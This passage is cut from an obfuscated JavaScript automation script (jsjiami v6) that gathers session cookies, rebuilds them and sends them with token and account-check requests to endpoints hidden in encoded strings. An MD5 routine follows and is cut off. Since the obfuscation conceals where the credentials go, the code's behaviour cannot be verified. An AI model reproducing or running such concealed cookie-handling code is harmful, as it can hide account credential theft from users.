x6b')](_0x17be('‮385','\x28\x51\x53\x35')+_0x2ba5c0[_0x17be('‫2ec','\x45\x52\x63\x7a')][_0x17be('‮386','\x75\x41\x62\x29')]);$[_0x17be('‫387','\x30\x6e\x41\x4b')]=_0x2ba5c0[_0x17be('‫388','\x65\x58\x32\x43')][_0x17be('‮389','\x4d\x37\x76\x65')];$[_0x17be('‮38a','\x61\x42\x78\x5b')]=_0x2ba5c0[_0x17be('‫2d3','\x77\x53\x47\x4c')][_0x17be('‮fd','\x30\x4b\x65\x43')];}else{$[_0x17be('‮4b','\x26\x4b\x38\x6e')](_0x2ba5c0[_0x17be('‫38b','\x65\x61\x4a\x63')]);}}}else{if(_0x8b781b[_0x17be('‮38c','\x5a\x40\x5e\x78')](_0x8b781b[_0x17be('‮38d','\x65\x69\x66\x57')],_0x8b781b[_0x17be('‫38e','\x4b\x48\x61\x67')])){var _0x29149f={'\x49\x7a\x68\x6d\x4f':function(_0x1f37dc,_0x2d0755){return _0x386230[_0x17be('‫38f','\x4c\x75\x38\x63')](_0x1f37dc,_0x2d0755);},'\x51\x75\x6b\x54\x49':function(_0x3b9d47,_0x1b061d){return _0x386230[_0x17be('‫390','\x39\x25\x61\x28')](_0x3b9d47,_0x1b061d);},'\x58\x6f\x4e\x46\x4f':function(_0x36858d,_0x46ff79){return _0x386230[_0x17be('‮391','\x71\x44\x63\x4d')](_0x36858d,_0x46ff79);},'\x4f\x43\x4b\x62\x76':function(_0x30974c,_0x5b4a12){return _0x386230[_0x17be('‮392','\x61\x33\x2a\x79')](_0x30974c,_0x5b4a12);}};return format[_0x17be('‫393','\x77\x5d\x48\x33')](/[xy]/g,function(_0x37e78e){var _0x3dbe01=_0x29149f[_0x17be('‫394','\x51\x52\x32\x53')](_0x29149f[_0x17be('‫395','\x71\x44\x63\x4d')](Math[_0x17be('‫3f','\x21\x42\x26\x35')](),0x10),0x0),_0x2f2fec=_0x29149f[_0x17be('‮396','\x4e\x29\x4f\x23')](_0x37e78e,'\x78')?_0x3dbe01:_0x29149f[_0x17be('‫397','\x4d\x37\x76\x65')](_0x29149f[_0x17be('‮398','\x4e\x29\x4f\x23')](_0x3dbe01,0x3),0x8);if(UpperCase){uuid=_0x2f2fec[_0x17be('‮399','\x4b\x48\x61\x67')](0x24)[_0x17be('‮39a','\x45\x52\x63\x7a')]();}else{uuid=_0x2f2fec[_0x17be('‫39b','\x34\x4b\x4e\x31')](0x24);}return uuid;});}else{$[_0x17be('‫272','\x65\x61\x4a\x63')](_0x2ba5c0[_0x17be('‫39c','\x69\x54\x73\x6b')]);}}}else{$[_0x17be('‫39d','\x30\x6e\x41\x4b')](_0x8b781b[_0x17be('‫39e','\x78\x59\x62\x4b')]);}}}}catch(_0x575333){if(_0x8b781b[_0x17be('‮39f','\x4c\x75\x39\x76')](_0x8b781b[_0x17be('‮3a0','\x28\x51\x53\x35')],_0x8b781b[_0x17be('‮3a1','\x61\x42\x78\x5b')])){console[_0x17be('‮4b','\x26\x4b\x38\x6e')](_0x434b5e);}else{$[_0x17be('‫270','\x4b\x48\x61\x67')](_0x575333);}}finally{_0x8b781b[_0x17be('‮3a2','\x69\x54\x73\x6b')](_0xf1af7);}});});}function getFirstLZCK(){var _0x2b4562={'\x65\x4f\x63\x57\x50':function(_0x41cd64,_0x592dd1){return _0x41cd64!==_0x592dd1;},'\x71\x6b\x6a\x4a\x46':_0x17be('‫3a3','\x34\x4b\x4e\x31'),'\x47\x6d\x74\x58\x42':_0x17be('‫3a4','\x61\x33\x2a\x79'),'\x46\x62\x4e\x79\x6d':_0x17be('‮3a5','\x78\x59\x62\x4b'),'\x48\x64\x6e\x68\x51':function(_0x337b24,_0x217a3d){return _0x337b24===_0x217a3d;},'\x76\x55\x6d\x69\x68':_0x17be('‫3a6','\x72\x52\x4e\x52'),'\x4b\x6d\x63\x49\x72':function(_0x13d516,_0x254497){return _0x13d516+_0x254497;},'\x52\x50\x6c\x46\x4c':function(_0x241d51,_0x341e62){return _0x241d51+_0x341e62;},'\x75\x62\x4b\x54\x73':function(_0x5160f2){return _0x5160f2();},'\x79\x72\x61\x4b\x72':function(_0x295461,_0x44630b){return _0x295461(_0x44630b);},'\x76\x4f\x66\x66\x63':_0x17be('‮3a7','\x4e\x29\x4f\x23'),'\x4f\x61\x7a\x6a\x77':_0x17be('‮3a8','\x34\x4b\x4e\x31'),'\x6a\x41\x4a\x78\x44':_0x17be('‮3a9','\x21\x43\x53\x59')};return new Promise(_0xd2b7be=>{var _0x4ae469={'\x52\x58\x6f\x61\x44':_0x2b4562[_0x17be('‮3aa','\x69\x54\x73\x6b')],'\x4a\x66\x58\x57\x69':_0x2b4562[_0x17be('‫3ab','\x21\x73\x4e\x30')],'\x59\x67\x49\x41\x4b':function(_0x2861b5,_0x214f2a){return _0x2b4562[_0x17be('‮3ac','\x28\x51\x53\x35')](_0x2861b5,_0x214f2a);},'\x71\x68\x75\x63\x53':function(_0x50899b,_0x395b28){return _0x2b4562[_0x17be('‮3ad','\x69\x54\x73\x6b')](_0x50899b,_0x395b28);},'\x4b\x64\x79\x61\x6e':function(_0x5c48ea,_0x382c21){return _0x2b4562[_0x17be('‮3ae','\x26\x4b\x38\x6e')](_0x5c48ea,_0x382c21);},'\x62\x6f\x53\x64\x43':function(_0x5ac960,_0x243a50){return _0x2b4562[_0x17be('‮3ac','\x28\x51\x53\x35')](_0x5ac960,_0x243a50);},'\x67\x57\x45\x61\x55':function(_0x2110ee,_0x48f109){return _0x2b4562[_0x17be('‫3af','\x61\x33\x2a\x79')](_0x2110ee,_0x48f109);}};$[_0x17be('‮3b0','\x4e\x29\x4f\x23')]({'\x75\x72\x6c':$[_0x17be('‮3b1','\x34\x4b\x4e\x31')],'\x68\x65\x61\x64\x65\x72\x73':{'user-agent':$[_0x17be('‫3b2','\x34\x4b\x4e\x31')]()?process[_0x17be('‮3b3','\x4d\x37\x76\x65')][_0x17be('‫3b4','\x6d\x50\x41\x7a')]?process[_0x17be('‫3b5','\x63\x28\x5e\x39')][_0x17be('‫3b6','\x4e\x29\x4f\x23')]:_0x2b4562[_0x17be('‫3b7','\x65\x61\x4a\x63')](require,_0x2b4562[_0x17be('‫3b8','\x55\x68\x6c\x72')])[_0x17be('‫3b9','\x63\x29\x36\x47')]:$[_0x17be('‮3ba','\x7a\x79\x71\x32')](_0x2b4562[_0x17be('‮3bb','\x58\x79\x4b\x6a')])?$[_0x17be('‮3bc','\x71\x44\x63\x4d')](_0x2b4562[_0x17be('‮3bd','\x34\x4b\x4e\x31')]):_0x2b4562[_0x17be('‮3be','\x21\x43\x53\x59')]}},(_0x3f900f,_0x569e80,_0x36e3ca)=>{try{if(_0x3f900f){if(_0x2b4562[_0x17be('‮3bf','\x61\x42\x78\x5b')](_0x2b4562[_0x17be('‫3c0','\x30\x6e\x41\x4b')],_0x2b4562[_0x17be('‫3c1','\x6d\x50\x41\x7a')])){if(_0x569e80[_0x4ae469[_0x17be('‮3c2','\x4b\x48\x61\x67')]][_0x4ae469[_0x17be('‫3c3','\x57\x54\x5e\x6b')]]){cookie=originCookie+'\x3b';for(let _0x2d0e22 of _0x569e80[_0x4ae469[_0x17be('‮3c4','\x68\x70\x4d\x31')]][_0x4ae469[_0x17be('‫3c5','\x7a\x79\x71\x32')]]){lz_cookie[_0x2d0e22[_0x17be('‮3c6','\x2a\x55\x43\x54')]('\x3b')[0x0][_0x17be('‮3c7','\x65\x69\x66\x57')](0x0,_0x2d0e22[_0x17be('‮3c8','\x4e\x29\x4f\x23')]('\x3b')[0x0][_0x17be('‫3c9','\x68\x70\x4d\x31')]('\x3d'))]=_0x2d0e22[_0x17be('‮3ca','\x30\x4b\x65\x43')]('\x3b')[0x0][_0x17be('‮3cb','\x24\x77\x63\x64')](_0x4ae469[_0x17be('‫3cc','\x5b\x39\x64\x59')](_0x2d0e22[_0x17be('‫3cd','\x26\x4b\x38\x6e')]('\x3b')[0x0][_0x17be('‫3ce','\x58\x79\x4b\x6a')]('\x3d'),0x1));}for(const _0x542196 of Object[_0x17be('‮3cf','\x61\x42\x78\x5b')](lz_cookie)){cookie+=_0x4ae469[_0x17be('‮3d0','\x4c\x75\x39\x76')](_0x4ae469[_0x17be('‫3d1','\x46\x4f\x73\x62')](_0x4ae469[_0x17be('‫3d2','\x55\x68\x6c\x72')](_0x542196,'\x3d'),lz_cookie[_0x542196]),'\x3b');}$[_0x17be('‫3d3','\x65\x58\x32\x43')]=cookie;}}else{console[_0x17be('‫1bd','\x4c\x75\x38\x63')](_0x3f900f);}}else{if(_0x569e80[_0x2b4562[_0x17be('‮3d4','\x46\x64\x29\x62')]][_0x2b4562[_0x17be('‮3d5','\x4d\x37\x76\x65')]]){cookie=originCookie+'\x3b';for(let _0x235b36 of _0x569e80[_0x2b4562[_0x17be('‫3d6','\x65\x69\x66\x57')]][_0x2b4562[_0x17be('‫3d7','\x46\x64\x29\x62')]]){if(_0x2b4562[_0x17be('‮3d8','\x63\x28\x5e\x39')](_0x2b4562[_0x17be('‫3d9','\x68\x70\x4d\x31')],_0x2b4562[_0x17be('‮3da','\x30\x6e\x41\x4b')])){lz_cookie[_0x235b36[_0x17be('‮319','\x58\x79\x4b\x6a')]('\x3b')[0x0][_0x17be('‫3db','\x68\x70\x4d\x31')](0x0,_0x235b36[_0x17be('‮3dc','\x24\x77\x63\x64')]('\x3b')[0x0][_0x17be('‮b2','\x7a\x79\x71\x32')]('\x3d'))]=_0x235b36[_0x17be('‮3dd','\x30\x6e\x41\x4b')]('\x3b')[0x0][_0x17be('‫3de','\x4c\x75\x38\x63')](_0x2b4562[_0x17be('‫3df','\x65\x61\x4a\x63')](_0x235b36[_0x17be('‫3e0','\x5a\x40\x5e\x78')]('\x3b')[0x0][_0x17be('‮3e1','\x34\x4b\x4e\x31')]('\x3d'),0x1));}else{cookie=originCookie+'\x3b';for(let _0x5a3acb of _0x569e80[_0x4ae469[_0x17be('‮3e2','\x77\x53\x47\x4c')]][_0x4ae469[_0x17be('‮3e3','\x21\x43\x53\x59')]]){lz_cookie[_0x5a3acb[_0x17be('‫3e4','\x4c\x75\x38\x63')]('\x3b')[0x0][_0x17be('‮3e5','\x72\x66\x71\x47')](0x0,_0x5a3acb[_0x17be('‫368','\x77\x53\x47\x4c')]('\x3b')[0x0][_0x17be('‫3e6','\x4b\x48\x61\x67')]('\x3d'))]=_0x5a3acb[_0x17be('‮3e7','\x65\x69\x66\x57')]('\x3b')[0x0][_0x17be('‫3e8','\x55\x68\x6c\x72')](_0x4ae469[_0x17be('‫3e9','\x65\x69\x66\x57')](_0x5a3acb[_0x17be('‮3ea','\x21\x43\x53\x59')]('\x3b')[0x0][_0x17be('‫36b','\x78\x59\x62\x4b')]('\x3d'),0x1));}for(const _0x4dfd07 of Object[_0x17be('‫3eb','\x58\x79\x4b\x6a')](lz_cookie)){cookie+=_0x4ae469[_0x17be('‮3ec','\x24\x77\x63\x64')](_0x4ae469[_0x17be('‮3ed','\x24\x77\x63\x64')](_0x4ae469[_0x17be('‮3ee','\x39\x25\x61\x28')](_0x4dfd07,'\x3d'),lz_cookie[_0x4dfd07]),'\x3b');}}}for(const _0x51fc65 of Object[_0x17be('‫3ef','\x28\x51\x53\x35')](lz_cookie)){cookie+=_0x2b4562[_0x17be('‫3f0','\x61\x33\x2a\x79')](_0x2b4562[_0x17be('‮3f1','\x37\x4f\x51\x68')](_0x2b4562[_0x17be('‮3f2','\x65\x58\x32\x43')](_0x51fc65,'\x3d'),lz_cookie[_0x51fc65]),'\x3b');}$[_0x17be('‮3f3','\x4e\x29\x4f\x23')]=cookie;}}}catch(_0x158f4e){console[_0x17be('‫30e','\x77\x53\x47\x4c')](_0x158f4e);}finally{_0x2b4562[_0x17be('‮3f4','\x24\x77\x63\x64')](_0xd2b7be);}});});}function getToken(){var _0x5c8e02={'\x62\x42\x71\x6a\x48':function(_0x4037a2,_0x43064e){return _0x4037a2!==_0x43064e;},'\x45\x45\x6e\x79\x62':_0x17be('‮3f5','\x65\x58\x32\x43'),'\x6b\x4a\x53\x42\x57':function(_0x4bbf37,_0xbd2c6c){return _0x4bbf37!==_0xbd2c6c;},'\x4e\x61\x44\x4b\x46':_0x17be('‫3f6','\x72\x6d\x49\x69'),'\x65\x53\x55\x54\x65':function(_0x5c73a1,_0x5c32be){return _0x5c73a1===_0x5c32be;},'\x57\x4a\x4b\x75\x68':function(_0x470a7d,_0x336de3){return _0x470a7d===_0x336de3;},'\x6d\x51\x45\x74\x6b':_0x17be('‮3f7','\x61\x42\x78\x5b'),'\x64\x71\x67\x71\x43':_0x17be('‮3f8','\x61\x42\x78\x5b'),'\x4f\x72\x67\x67\x43':function(_0x394dd9,_0x46ad49){return _0x394dd9!==_0x46ad49;},'\x6a\x5a\x48\x45\x6b':_0x17be('‫3f9','\x37\x4f\x51\x68'),'\x42\x41\x46\x6d\x64':_0x17be('‫3fa','\x65\x61\x4a\x63'),'\x49\x76\x4a\x57\x50':_0x17be('‫3fb','\x2a\x46\x5a\x6b'),'\x73\x63\x42\x49\x6e':function(_0x2510f4){return _0x2510f4();},'\x45\x48\x49\x49\x49':function(_0x2c563d,_0x538224){return _0x2c563d===_0x538224;},'\x77\x4c\x77\x74\x6b':_0x17be('‫3fc','\x4c\x75\x39\x76'),'\x51\x65\x56\x4d\x57':_0x17be('‫3fd','\x30\x4b\x65\x43'),'\x4a\x51\x61\x4d\x46':_0x17be('‮3fe','\x61\x33\x2a\x79'),'\x4a\x51\x70\x75\x6a':_0x17be('‫3ff','\x72\x66\x71\x47'),'\x6b\x70\x64\x6f\x67':_0x17be('‫400','\x72\x66\x71\x47'),'\x65\x70\x63\x68\x72':_0x17be('‫401','\x71\x44\x63\x4d'),'\x50\x43\x63\x71\x42':_0x17be('‫402','\x4c\x75\x39\x76'),'\x44\x5a\x6d\x6d\x74':_0x17be('‮403','\x46\x64\x29\x62'),'\x64\x6a\x71\x41\x55':_0x17be('‫404','\x63\x29\x36\x47')};let _0x3559c7={'\x75\x72\x6c':_0x17be('‫405','\x28\x51\x53\x35'),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x5c8e02[_0x17be('‮406','\x4c\x75\x38\x63')],'Content-Type':_0x5c8e02[_0x17be('‮407','\x34\x4b\x4e\x31')],'\x41\x63\x63\x65\x70\x74':_0x5c8e02[_0x17be('‫408','\x6d\x50\x41\x7a')],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x5c8e02[_0x17be('‫409','\x28\x51\x53\x35')],'\x43\x6f\x6f\x6b\x69\x65':cookie,'User-Agent':_0x5c8e02[_0x17be('‫40a','\x61\x42\x78\x5b')],'Accept-Language':_0x5c8e02[_0x17be('‫40b','\x68\x5d\x35\x40')],'Accept-Encoding':_0x5c8e02[_0x17be('‫40c','\x5b\x39\x64\x59')]},'\x62\x6f\x64\x79':_0x17be('‫40d','\x21\x42\x26\x35')};return new Promise(_0x5c67e4=>{var _0x3f5618={'\x4b\x58\x6d\x62\x4a':function(_0x448ef8,_0x276b82){return _0x5c8e02[_0x17be('‫40e','\x21\x42\x26\x35')](_0x448ef8,_0x276b82);},'\x78\x79\x50\x72\x46':_0x5c8e02[_0x17be('‫40f','\x24\x77\x63\x64')],'\x79\x61\x69\x77\x75':_0x5c8e02[_0x17be('‫410','\x78\x59\x62\x4b')]};$[_0x17be('‮411','\x5b\x39\x64\x59')](_0x3559c7,(_0x47de4d,_0x2b7cb6,_0x3cdd4e)=>{try{if(_0x47de4d){$[_0x17be('‮2c5','\x30\x4b\x65\x43')](_0x47de4d);}else{if(_0x5c8e02[_0x17be('‮412','\x4b\x48\x61\x67')](_0x5c8e02[_0x17be('‫413','\x58\x29\x32\x30')],_0x5c8e02[_0x17be('‮414','\x75\x41\x62\x29')])){_0x3cdd4e=JSON[_0x17be('‫415','\x28\x51\x53\x35')](_0x3cdd4e);if(_0x3f5618[_0x17be('‮416','\x21\x73\x4e\x30')](_0x3cdd4e[_0x17be('‫417','\x30\x4b\x65\x43')],_0x3f5618[_0x17be('‫418','\x72\x6d\x49\x69')])){$[_0x17be('‫419','\x65\x69\x66\x57')]=![];return;}if(_0x3f5618[_0x17be('‮41a','\x24\x77\x63\x64')](_0x3cdd4e[_0x17be('‮41b','\x5a\x40\x5e\x78')],'\x30')&&_0x3cdd4e[_0x17be('‮a7','\x55\x68\x6c\x72')][_0x17be('‮41c','\x63\x28\x5e\x39')](_0x3f5618[_0x17be('‮41d','\x58\x79\x4b\x6a')])){$[_0x17be('‮41e','\x4c\x75\x39\x76')]=_0x3cdd4e[_0x17be('‫41f','\x72\x66\x71\x47')][_0x17be('‮420','\x69\x54\x73\x6b')][_0x17be('‮421','\x72\x66\x71\x47')][_0x17be('‫422','\x34\x4b\x4e\x31')];}}else{if(_0x3cdd4e){if(_0x5c8e02[_0x17be('‫423','\x4c\x75\x39\x76')](_0x5c8e02[_0x17be('‫424','\x55\x68\x6c\x72')],_0x5c8e02[_0x17be('‮425','\x39\x25\x61\x28')])){console[_0x17be('‫264','\x21\x42\x26\x35')](error);}else{_0x3cdd4e=JSON[_0x17be('‫426','\x37\x4f\x51\x68')](_0x3cdd4e);if(_0x5c8e02[_0x17be('‮427','\x75\x41\x62\x29')](_0x3cdd4e[_0x17be('‮428','\x68\x5d\x35\x40')],'\x30')){if(_0x5c8e02[_0x17be('‮429','\x37\x4f\x51\x68')](_0x5c8e02[_0x17be('‮42a','\x65\x58\x32\x43')],_0x5c8e02[_0x17be('‮42b','\x46\x64\x29\x62')])){$[_0x17be('‮42c','\x24\x77\x63\x64')](_0x3cdd4e[_0x17be('‮42d','\x4c\x75\x39\x76')]);}else{$[_0x17be('‫42e','\x21\x73\x4e\x30')]=_0x3cdd4e[_0x17be('‮358','\x5b\x39\x64\x59')];}}}}else{if(_0x5c8e02[_0x17be('‫42f','\x65\x58\x32\x43')](_0x5c8e02[_0x17be('‫430','\x4e\x29\x4f\x23')],_0x5c8e02[_0x17be('‮431','\x5a\x40\x5e\x78')])){$[_0x17be('‮2f4','\x5b\x39\x64\x59')](_0x5c8e02[_0x17be('‮432','\x65\x58\x32\x43')]);}else{$[_0x17be('‮433','\x68\x5d\x35\x40')]=_0x3cdd4e[_0x17be('‮434','\x57\x54\x5e\x6b')];}}}}}catch(_0x56d25a){$[_0x17be('‮2f4','\x5b\x39\x64\x59')](_0x56d25a);}finally{_0x5c8e02[_0x17be('‫435','\x77\x53\x47\x4c')](_0x5c67e4);}});});}function random(_0x14c213,_0x24952c){var _0x505a8a={'\x79\x65\x42\x75\x63':function(_0x1eb6a1,_0x13d6e4){return _0x1eb6a1+_0x13d6e4;},'\x62\x4e\x58\x6c\x79':function(_0x21062b,_0x52694b){return _0x21062b*_0x52694b;},'\x6b\x4d\x52\x50\x45':function(_0x45d89d,_0x416190){return _0x45d89d-_0x416190;}};return _0x505a8a[_0x17be('‮436','\x69\x54\x73\x6b')](Math[_0x17be('‮437','\x2a\x46\x5a\x6b')](_0x505a8a[_0x17be('‮438','\x26\x4b\x38\x6e')](Math[_0x17be('‮439','\x21\x43\x53\x59')](),_0x505a8a[_0x17be('‫43a','\x65\x69\x66\x57')](_0x24952c,_0x14c213))),_0x14c213);}function getUUID(_0xc08302=_0x17be('‮43b','\x21\x42\x26\x35'),_0x56f3e4=0x0){var _0x51d913={'\x59\x4a\x4c\x6d\x7a':function(_0xe7e8c7,_0x21bbcc){return _0xe7e8c7|_0x21bbcc;},'\x77\x71\x64\x52\x57':function(_0x3e7f80,_0x55b4ac){return _0x3e7f80*_0x55b4ac;},'\x4a\x64\x45\x79\x58':function(_0x79570,_0x781739){return _0x79570==_0x781739;},'\x6b\x6e\x65\x6e\x57':function(_0x1f68de,_0x25d69a){return _0x1f68de|_0x25d69a;},'\x5a\x74\x6d\x74\x6b':function(_0x441d02,_0x1d0050){return _0x441d02&_0x1d0050;}};return _0xc08302[_0x17be('‮43c','\x30\x4b\x65\x43')](/[xy]/g,function(_0x134f7b){var _0x12b612=_0x51d913[_0x17be('‫43d','\x61\x42\x78\x5b')](_0x51d913[_0x17be('‮43e','\x5b\x39\x64\x59')](Math[_0x17be('‮43f','\x65\x61\x4a\x63')](),0x10),0x0),_0x66c93d=_0x51d913[_0x17be('‫440','\x77\x5d\x48\x33')](_0x134f7b,'\x78')?_0x12b612:_0x51d913[_0x17be('‫441','\x4f\x46\x44\x78')](_0x51d913[_0x17be('‫442','\x39\x25\x61\x28')](_0x12b612,0x3),0x8);if(_0x56f3e4){uuid=_0x66c93d[_0x17be('‮443','\x68\x5d\x35\x40')](0x24)[_0x17be('‮444','\x30\x4b\x65\x43')]();}else{uuid=_0x66c93d[_0x17be('‫445','\x51\x52\x32\x53')](0x24);}return uuid;});}function checkCookie(){var _0x560852={'\x6c\x65\x4e\x67\x79':_0x17be('‮2b','\x45\x52\x63\x7a'),'\x66\x52\x64\x67\x77':_0x17be('‮2c','\x71\x44\x63\x4d'),'\x6f\x47\x73\x6a\x4b':function(_0x182a18,_0x43acf1){return _0x182a18===_0x43acf1;},'\x45\x47\x6a\x57\x75':_0x17be('‮446','\x5a\x40\x5e\x78'),'\x67\x45\x4c\x4a\x4e':function(_0x4c3763,_0x44a7c1){return _0x4c3763!==_0x44a7c1;},'\x75\x67\x77\x58\x4f':_0x17be('‮447','\x61\x33\x2a\x79'),'\x6a\x59\x47\x78\x6c':_0x17be('‫448','\x24\x77\x63\x64'),'\x44\x54\x71\x67\x4a':function(_0x2c319d,_0xb8901f){return _0x2c319d===_0xb8901f;},'\x50\x4f\x4f\x6b\x67':_0x17be('‮449','\x2a\x46\x5a\x6b'),'\x6e\x56\x45\x66\x43':_0x17be('‫44a','\x63\x29\x36\x47'),'\x47\x41\x45\x4a\x43':_0x17be('‮44b','\x4b\x48\x61\x67'),'\x69\x71\x70\x5a\x51':function(_0x148981){return _0x148981();},'\x54\x72\x6f\x6e\x50':function(_0x490cb1,_0x115e88){return _0x490cb1+_0x115e88;},'\x46\x50\x59\x6b\x48':function(_0xed1096,_0x487600){return _0xed1096*_0x487600;},'\x76\x54\x78\x6f\x64':function(_0xbf2d47,_0x51895e){return _0xbf2d47-_0x51895e;},'\x55\x58\x68\x6f\x57':_0x17be('‮44c','\x63\x28\x5e\x39'),'\x43\x79\x46\x69\x63':_0x17be('‫44d','\x37\x4f\x51\x68'),'\x7a\x62\x51\x76\x4f':_0x17be('‫44e','\x63\x28\x5e\x39'),'\x41\x56\x4c\x51\x46':_0x17be('‮44f','\x4d\x37\x76\x65'),'\x64\x4c\x4f\x4b\x4b':_0x17be('‮450','\x71\x44\x63\x4d'),'\x76\x4a\x4c\x70\x50':_0x17be('‫451','\x46\x4f\x73\x62'),'\x67\x71\x76\x4d\x57':_0x17be('‫452','\x5a\x40\x5e\x78'),'\x51\x6d\x50\x6a\x43':_0x17be('‮453','\x55\x68\x6c\x72')};const _0x437b22={'\x75\x72\x6c':_0x560852[_0x17be('‮454','\x58\x29\x32\x30')],'\x68\x65\x61\x64\x65\x72\x73':{'Host':_0x560852[_0x17be('‫455','\x6d\x50\x41\x7a')],'Accept':_0x560852[_0x17be('‫456','\x46\x4f\x73\x62')],'Connection':_0x560852[_0x17be('‮457','\x2a\x55\x43\x54')],'Cookie':cookie,'User-Agent':_0x560852[_0x17be('‫458','\x30\x4b\x65\x43')],'Accept-Language':_0x560852[_0x17be('‫459','\x30\x4b\x65\x43')],'Referer':_0x560852[_0x17be('‮45a','\x21\x43\x53\x59')],'Accept-Encoding':_0x560852[_0x17be('‫45b','\x5b\x39\x64\x59')]}};return new Promise(_0x1fb9bc=>{var _0x22f188={'\x72\x48\x59\x6c\x47':function(_0x2a2a0d,_0x3e4bc6){return _0x560852[_0x17be('‮45c','\x78\x59\x62\x4b')](_0x2a2a0d,_0x3e4bc6);},'\x76\x4b\x77\x58\x43':function(_0x1d2f20,_0x15719e){return _0x560852[_0x17be('‮45d','\x68\x5d\x35\x40')](_0x1d2f20,_0x15719e);},'\x50\x47\x42\x74\x4a':function(_0x319d21,_0x15a1be){return _0x560852[_0x17be('‮45e','\x4b\x48\x61\x67')](_0x319d21,_0x15a1be);}};$[_0x17be('‫45f','\x69\x54\x73\x6b')](_0x437b22,(_0x221ed1,_0x94e85b,_0x465039)=>{var _0x267877={'\x6e\x67\x4f\x49\x6a':_0x560852[_0x17be('‫460','\x21\x43\x53\x59')],'\x58\x6d\x54\x4c\x45':_0x560852[_0x17be('‫461','\x65\x58\x32\x43')]};try{if(_0x221ed1){$[_0x17be('‮462','\x4b\x48\x61\x67')](_0x221ed1);}else{if(_0x465039){_0x465039=JSON[_0x17be('‫463','\x5b\x39\x64\x59')](_0x465039);if(_0x560852[_0x17be('‫464','\x65\x69\x66\x57')](_0x465039[_0x17be('‮465','\x72\x6d\x49\x69')],_0x560852[_0x17be('‮466','\x34\x4b\x4e\x31')])){if(_0x560852[_0x17be('‮467','\x68\x5d\x35\x40')](_0x560852[_0x17be('‫468','\x58\x79\x4b\x6a')],_0x560852[_0x17be('‫469','\x77\x53\x47\x4c')])){$[_0x17be('‮46a','\x58\x79\x4b\x6a')]=![];return;}else{$[_0x17be('‫46b','\x68\x70\x4d\x31')]($[_0x17be('‫306','\x50\x4c\x65\x52')],_0x267877[_0x17be('‮46c','\x28\x51\x53\x35')],_0x267877[_0x17be('‫46d','\x34\x4b\x4e\x31')],{'open-url':_0x267877[_0x17be('‮46e','\x57\x54\x5e\x6b')]});return;}}if(_0x560852[_0x17be('‮46f','\x72\x6d\x49\x69')](_0x465039[_0x17be('‫470','\x77\x53\x47\x4c')],'\x30')&&_0x465039[_0x17be('‮2e5','\x63\x28\x5e\x39')][_0x17be('‫471','\x58\x79\x4b\x6a')](_0x560852[_0x17be('‮472','\x65\x61\x4a\x63')])){$[_0x17be('‮473','\x75\x41\x62\x29')]=_0x465039[_0x17be('‮474','\x58\x79\x4b\x6a')][_0x17be('‮475','\x63\x29\x36\x47')][_0x17be('‮476','\x61\x42\x78\x5b')][_0x17be('‮477','\x24\x77\x63\x64')];}}else{$[_0x17be('‮309','\x46\x64\x29\x62')](_0x560852[_0x17be('‫478','\x65\x69\x66\x57')]);}}}catch(_0x4b8950){$[_0x17be('‮479','\x21\x42\x26\x35')](_0x4b8950);}finally{if(_0x560852[_0x17be('‮47a','\x45\x52\x63\x7a')](_0x560852[_0x17be('‫47b','\x63\x29\x36\x47')],_0x560852[_0x17be('‮47c','\x72\x52\x4e\x52')])){_0x560852[_0x17be('‮47d','\x4d\x37\x76\x65')](_0x1fb9bc);}else{return _0x22f188[_0x17be('‫47e','\x4f\x46\x44\x78')](Math[_0x17be('‫47f','\x4d\x37\x76\x65')](_0x22f188[_0x17be('‮480','\x5b\x39\x64\x59')](Math[_0x17be('‮439','\x21\x43\x53\x59')](),_0x22f188[_0x17be('‫481','\x63\x28\x5e\x39')](max,min))),min);}}});});};_0xodA='jsjiami.com.v6'; + +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 